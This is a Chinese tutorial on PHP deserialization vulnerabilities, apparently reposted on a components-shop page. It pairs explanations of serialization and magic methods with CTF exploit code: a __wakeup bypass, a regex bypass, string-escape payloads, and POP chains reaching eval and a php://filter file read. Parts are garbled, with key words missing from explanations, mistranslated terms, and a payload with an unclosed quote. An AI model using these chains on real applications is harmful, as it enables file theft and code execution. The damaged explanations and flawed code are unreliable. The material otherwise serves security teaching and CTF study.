资讯详情

web安全-PHP反序列化漏洞

一.PHP序列化和反序列化

序列化:将对象转换为字节序列,永久存储在磁盘中。在网络中传输对象也应该序列化。

反序列化:从磁盘中读取字节序列,将其反序列化为对象读取。

PHP中的serialize()和unserialize()两个函数:

1.serialize()

serizlize()将变量、对象、数组等数据类型转换为字符串,便于网络传输和存储。

<?php class Person{     //类数据     public $age = 18;     public $name = 'lxy'; } //创建对象 $usr = new Person(); ///输出序列化后的数据 echo serialize($usr) ?>

序列化结果打印:

O:6:"Person":2:{s:3:"age";i:18;s:4:"name";s:3:"lxy";} 

“O”表示,“6”表示,“Person”为,“2”表示

s:4:"name";s:3:"lxy"中,“s为;s:4:"name"它代表了变量名的长度和变量名,s:3:"lxy"代表变量值和值的长度。

若变量前是protected,在变量名之前添加,private在变量名之前添加。其中:\x00表示,但仍占用字符位置(空格),如下:

<?php class test{     protected  $a;     private $b;     function __construct(){         $this->a="name";         $this->b="sex";     } } $a = new test(); echo serialize($a); ?>

输出:

O:4:"test":2:{s:4:" * a";s:4:"name";s:7:" test b";s:3:"sex";} 

a - array 数组型 b - boolean 布尔型 d - double 浮点型 i - integer 整数型 o - common object 共同对象 r - objec reference 对象引用 s - non-escaped binary string 非转义二进制字符串 S - escaped binary string 二进制字符串的转义 C - custom object 自定义对象 O - class 对象 N - null 空 R - pointer reference 指针引用 U - unicode string Unicode 编码字符串 

2.unserialize()

unserialize()将字符串转换为原始数据。当存在反序列函数和魔法方法时,unserialize()当接收到的字符串可以控制用户时,用户可以根据使用的魔法方法构建特定的句子,从而控制整个反序列化过程。

反序列化上例:

<?php class Person{     //类数据     public $age = 18;     public $name = 'lxy';     ///输出数据     public function printdata()     {         echo 'Person '.$this->name.' is '.$this->age.' years old.<br />';     } } ///重建对象 $usr = unserialize('O:6:"Person":2:{s:3:"age";i:18;s:4:"name";s:3:"lxy";}'); ///输出数据 $usr->printdata(); ?>

输出结果:

Person lxy is 18 years old. 

二.PHP常用的魔法和触发条件

PHP中把以__开头的方法叫(Magic methods)

参考来源:常用的魔法方法 PHP官网详解

__construct()            ///类的构造函数在创建对象时触发  __destruct()             //分析函数,当物体被销毁时触发  __call()                 ////调用对象上下文中不可访问的方法时触发  __callStatic()           ////在静态上下文中调用不可访问的方法触发  __get()                  ///读取不可访问属性值时,这里的不可访问包括私有属性或未定义  __set()                  ///在给不可访问属性赋值时触发  __isset()                // isset() 或 empty() 时触发  __unset()                ////使用不可访问的属性unset()时触发  __invoke()               ///当试图通过调用函数调用对象时触发  __sleep()                //执行serialize()时,先调用这种方法  __wakeup()               //执行unserialize()时,先调用这种方法  __toString()             //当反序列化对象在模板中输出时(转换为字符串时)会自动调用 

1. __construct()类结构函数

  • 触发时间:当对象实例化(创建对象)时自动触发

  • 功能:初始化成员属性

  • 注:如果结构方法有参数,且参数没有默认值,则必须在类名后面的括号中添加实参

  • 类中声明结构方法的格式

    function__constrct(参数列表){ 方法体//通常用来对成员属性进行初始化赋值}

2. __desctruct(),类分析函数

__desctruct()分析函数,不需要显示调用,系统会自动调用此方法。

  • 触发时间:在销毁物体时自动触发(unset() 或者 页面执行)

  • 功能:回收对象使用过程中的资源,配合 unset 使用

  • 分析方法的声明格式

    function__destruct(){///方法体}

    注:分析函数不能带任何参数。

当获得一个类的成员变量时,调用它

  • 触发时间:访问私有成员属性时自动触发

  • 作用:1. 防止报错 2. 为私有成员属性访问提供后门

  • 参数:一个 访问私有成员的属性名称

  • 参数:__get 函数只能进行查看无法进行修改

4. __set(),设置一个类的成员变量时调用

  • 触发时机:对私有成员属性进行设置值时自动触发

  • 作用:1. 屏蔽错误 2. 为私有成员属性设置提供后门

  • 参数:两个 $a 私有成员属性的原值 $b 私有成员属性的新值

5. __isset(),当对不可访问属性调用isset()或empty()时调用

  • 触发时机:对私有成员属性进行 isset 进行检查时自动触发

  • 作用:代替对象外部的 isset函数检测,返回结果

  • 参数:1个 ,私有成员属性名

  • 返回值:一般返回 isset()检查结果

6. __unset(),当对不可访问属性调用unset()时被调用

  • 触发时机:对私有成员属性进行 unset 进行检查时自动触发

  • 作用:代替对象外部的 unset函数检测

  • 参数:1个 ,私有成员属性名

  • 返回值:一般返回 isset()检查结果

 从序列化到反序列化这几个函数的执行过程是:

__construct() ->__sleep -> __wakeup() -> __toString() -> __destruct() 

 三.PHP反序列化常见姿势

1.[极客大挑战 2019]PHPwp:__wakeup()函数绕过

利用方式:

index.php

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

通过get方式传入参数'select' ,并且对select参数反序化操作,可能通过触发魔法函数来触发漏洞

class.php

<?php
include 'flag.php';
 
error_reporting(0);
 
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
 
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
 
    function __wakeup(){
        $this->username = 'guest';
    }
 
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();          
        }
    }
}
?>

满足两个条件:password == 100 and username == ‘admin’ 就能得到flag了,但是__wakeup魔法函数会对我们的username参数进行重新赋值,所以需要绕过这个函数。

构造payload:

<?php
class Name{
	private $username = 'admin;
    private $password = '100';
}
$a = new Name();
$aim=serialize($a);
echo $aim;
?>

得到:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

因为要绕过,不然username就被赋值为guest,当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行,

所以(加上%00是因为username和password都是私有变量):

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

 2.反序列化绕过正则

/[oc]:\d+:/i研究:

OC:正则表达式。正则表达式是对字符串操作的一种逻辑公式,就是用事先定义好的一些特定字符、及这些特定字符的组合,组成一个“规则字符串”,这个“规则字符串”用来表达对字符串的一种过滤逻辑。

\d:  匹配一个数字字符。等价于 [0-9]。  +:  匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。 /i:  表示匹配的时候不区分大小写。匹配序列化字符串是否是对象字符串开头。

<?php  
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else 
{
    highlight_file("./test4.php");
}
?>

通过源码可以看出存在一个反序列化漏洞

构造payload :

O:4:"baby":1:{s:4:"file";s:9:"index.php";}

但是由于存在正则表达式 对序列化字符串做了限制导致触发防御,前面的O:4:符合正则的条件,因此将其绕过即可。利用符号+就不会正则匹配到数字,新的payload 为:

O:+4:"baby":1:{s:4:"file";s:9:"index.php";}

3.反序列化字符逃逸

字符逃逸的原理:

序列化后的字符串在进行反序列化操作时,会以{}两个花括号进行分界线,花括号以外的内容不会被反序列化。

情况1:过滤后字符变多

<?php
class A{
	public $name = 'aaaaaaaaaaaaaaaaaaaaaaaaaa";s:6:"passwd";s:3:"123";}';
	public $passwd = '1234';
}
$ss = new A();
$str = serialize($ss);
//echo $str;
function filter($str){
    return str_replace('aa','bbbb',$str);
}
$tt = filter($str);
echo $tt;
$qq = unserialize($tt);
var_dump($qq);
?>

未替换时序列化结果:

o:1:"A":2:{s:4:"name";s:52:"aaaaaaaaaaaaaaaaaaaaaaaaaa";s:6:"passwd";s:3:"123";}";s:6:"passwd";s:4:"1234";}

其中,这段代码主要目的就是间接修改passwd的值。

";s:6:"passwd";s:3:"123";}

这个字符串一共有26字符。我们想要让这段字符串进行反序列化,而;}正好将前面闭合,从而将字符串";s:6:"passwd";s:4:"1234";}逃逸出去,间接修改passwd的值。序列化字符串中将aa替换为bbbb,这样就多出两个字符。输入13个aa,就会多出26个字符,正好达到name的字符串长度。

o:1:"A":2:{s:4:"name";s:52:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}

成功将s:6:"passwd";s:3:"123";}反序列化,这样就将passwd的值改为123。

情况2:过滤后字符变少

<?php
class A{
	public $name = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}';
	public $passwd = '1234";s:6:"passwd";s:3:"123';
}
$ss = new A();
$str = serialize($ss);
//echo $str;
function filter($str){
    return str_replace('bb','a',$str);
}
$tt = filter($str);
echo $tt;
$qq = unserialize($tt);
var_dump($qq);
?>

未替换时序列化结果:

o:1:"A":2:{s:4"name";s:76:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}";s:6:"passwd";s:27:"1234";s:6:"passwd";s:3:"123";}

同样道理,我们要将s:6:"passwd";s:3:"123成功反序列化,那么就要让

";s:6:"passwd";s:27:"1234

这段字符串逃逸。这段字符串一共有25个字符,将name中25个bb替换为25个a,就可以达到效果。 

o:1:"A":2:{s:4"name";s:76:"aaaaaaaaaaaaaaaaaaaaaaaaa";s:6:"passwd";s:3:"123";}";s:6:"passwd";s:27:"1234";s:6:"passwd";s:3:"123";}

4.POP链的构造利用

0x01:

<?php
error_reporting(0);
show_source("index.php"); 
class w44m{
    private $admin = 'aaa';
    protected $passwd = '123456'; 
    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}
 
class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}
 
class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}
 
$w00m = $_GET['w00m'];
unserialize($w00m);
 
?>

w44m类中的Getflag()可执行,再顺着向前推,看看怎么可以调用Getflag(),发现w33m类中的__toString()中有个函数调用而且类名和函数名都是变量,那么这个__toString() 就和Getflag()连接起来了,再向前推,触发__toString()的条件是当一个对象被当作字符串处理,便看到了w22m中__destruct() 。

最后得到的pop链是:

构造exp:

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}
class w22m{
    public $w00m;
}
class w33m{
    public $w00m;
    public $w22m;
}
$a = new w33m();
$b = new w22m();
$c = new w44m();
 
$b->w00m = $a;
$a->w00m = $c;
$a->w22m = "Getflag";
echo urlencode(serialize($b));
?>

0x02:

<?php
error_reporting(0);
show_source("2.php");
class errorr0{
    protected $var;
    function __construct() {
        $this->var = new errorr1();
    }
    function __destruct() {
        $this->var->func();
    }
}
class errorr1 {
    public $var;
    function func() {
        echo $this->var;
    }
}
class errorr2 {
    private $data;
    public function func() {
        eval($this->data);
    }
}
 
unserialize($_GET['err']);
?>

errorr2中func内的eval为可以执行命令,而errorr0中__destruct()有这个意向,只需要控制errorr0中的变量var就行。

最后得到的pop链:

<?php
error_reporting(0);
show_source("2.php");
class errorr0{
    protected $var;
    function __construct() {
        $this->var = new errorr2();
    }
}
class errorr1 {
    public $var;
    function func() {
        echo $this->var;
    }
}
class errorr2 {
    private $data="phpinfo();";
}
$a = new errorr0();
echo urlencode(serialize($a));
?>

0x03:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

想办法构造pop链执行到代码开头的include,观察到__invoke(),对象本身是不能够当做函数去使用的,一旦被当做函数使用,就会回调执行__invoke()方法。

继续审计:

 因此,应该思考如何触发__get(),__get()方法将在访问不存在的成员变量时触发,如此处Test->var。

最后是show()类,__wakeup()方法反序列化时直接调用,其中的preg_match()函数对source进行访问触发toString()方法,__toString()方法又访问了str中的source。

如果$str=new Test(),因为Test类中没有source,直接触发__get()魔术方法,函数返回让$p=new Modifier(),以函数形式调用并触发__invoke()魔术方法,最后让Modifier类中的var为我们要读取的flag.php。

<?php
class Modifier{
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
    public function __construct()
    {
        $this->str=new Test();
    }
}

class Test{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$hack=new Show();
$hack->source=new Show();
$hack->source->str->p=new Modifier();
echo urlencode(serialize($hack));

标签: 5w33kr电阻5w33r精密电阻

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台